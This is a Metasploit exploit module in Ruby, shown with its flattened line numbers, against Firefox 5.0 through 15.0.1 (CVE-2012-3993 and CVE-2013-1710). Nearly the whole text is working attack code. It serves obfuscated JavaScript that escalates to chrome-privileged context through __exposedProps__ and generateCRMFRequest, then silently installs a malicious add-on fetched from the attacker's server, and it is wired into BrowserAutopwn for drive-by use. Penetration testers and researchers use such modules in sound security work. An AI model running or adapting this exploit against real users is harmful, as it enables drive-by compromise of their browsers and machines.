1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxAddonGenerator autopwn_info({ :ua_name=> HttpClients::FF, :ua_minver=> "5.0", :ua_maxver=> "15.0.1", :javascript => true, :rank => NormalRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution', 'Description'=> %q{ On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given invalid input, would throw an exception that did not have an __exposedProps__ property set. By re-setting this property on the exception object's prototype, the chrome-based defineProperty method is made available. With the defineProperty method, functions belonging to window and document can be overriden with a function that gets called from chrome-privileged context. From here, another vulnerability in the crypto.generateCRMFRequest function is used to "peek" into the context's private scope. Since the window does not have a chrome:// URL, the insecure parts of Components.classes are not available, so instead the AddonManager API is invoked to silently install a malicious plugin. }, 'License' => MSF_LICENSE, 'Author'=> [ 'Mariusz Mlynski', # discovered CVE-2012-3993 'moz_bug_r_a4', # discovered CVE-2013-1710 'joev' # metasploit module ], 'DisclosureDate' => "Aug 6 2013", 'References' => [ ['CVE', '2012-3993'],# used to install function that gets called from chrome:// (ff<15) ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'], ['CVE', '2013-1710'],# used to peek into privileged caller's closure (ff<23) ], 'BrowserRequirements' => { :source=> 'script', :ua_name => HttpClients::FF, :ua_ver=> lambda { |ver| ver.to_i.between?(5, 15) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ) ], self.class) end def on_request_exploit(cli, request, target_info) if request.uri.match(/\.xpi$/i) print_status("Sending the malicious addon") send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' }) else print_status("Sending HTML") res = generate_html(target_info,request.headers['Host']) vprint_status res.to_s send_response_html(cli, res) end end def generate_html(target_info,refer) injection = if target_info[:ua_ver].to_i == 15 "Function.prototype.call.call(p.__defineGetter__,obj,key,runme);" else "p2.constructor.defineProperty(obj,key,{get:runme});" end if refer.nil? or refer.blank? redirect = "#{get_module_uri}/addon.xpi" else proto = ((datastore['SSL']) ? 'https' : 'http') redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi" end script = js_obfuscate %Q| try{InstallTrigger.install(0)}catch(e){p=e;}; var p2=Object.getPrototypeOf(Object.getPrototypeOf(p)); p2.__exposedProps__={ constructor:'rw', prototype:'rw', defineProperty:'rw', __exposedProps__:'rw' }; var s = document.querySelector('#payload').innerHTML; var q = false; var register = function(obj,key) { var runme = function(){ if (q) return; q = true; window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex"); }; try { #{injection} } catch (e) {} }; for (var i in window) register(window, i); for (var i in document) register(document, i); | js_payload = js_obfuscate %Q| if (!window.done) { window.AddonManager.getInstallForURL( '#{redirect}', function(install) { install.install() }, 'application/x-xpinstall' ); window.done = true; } | %Q| <html> <body> #{datastore['CONTENT']} <div id='payload' style='display:none'> #{js_payload} </div> <script> #{script} </script> </body> </html> | end end |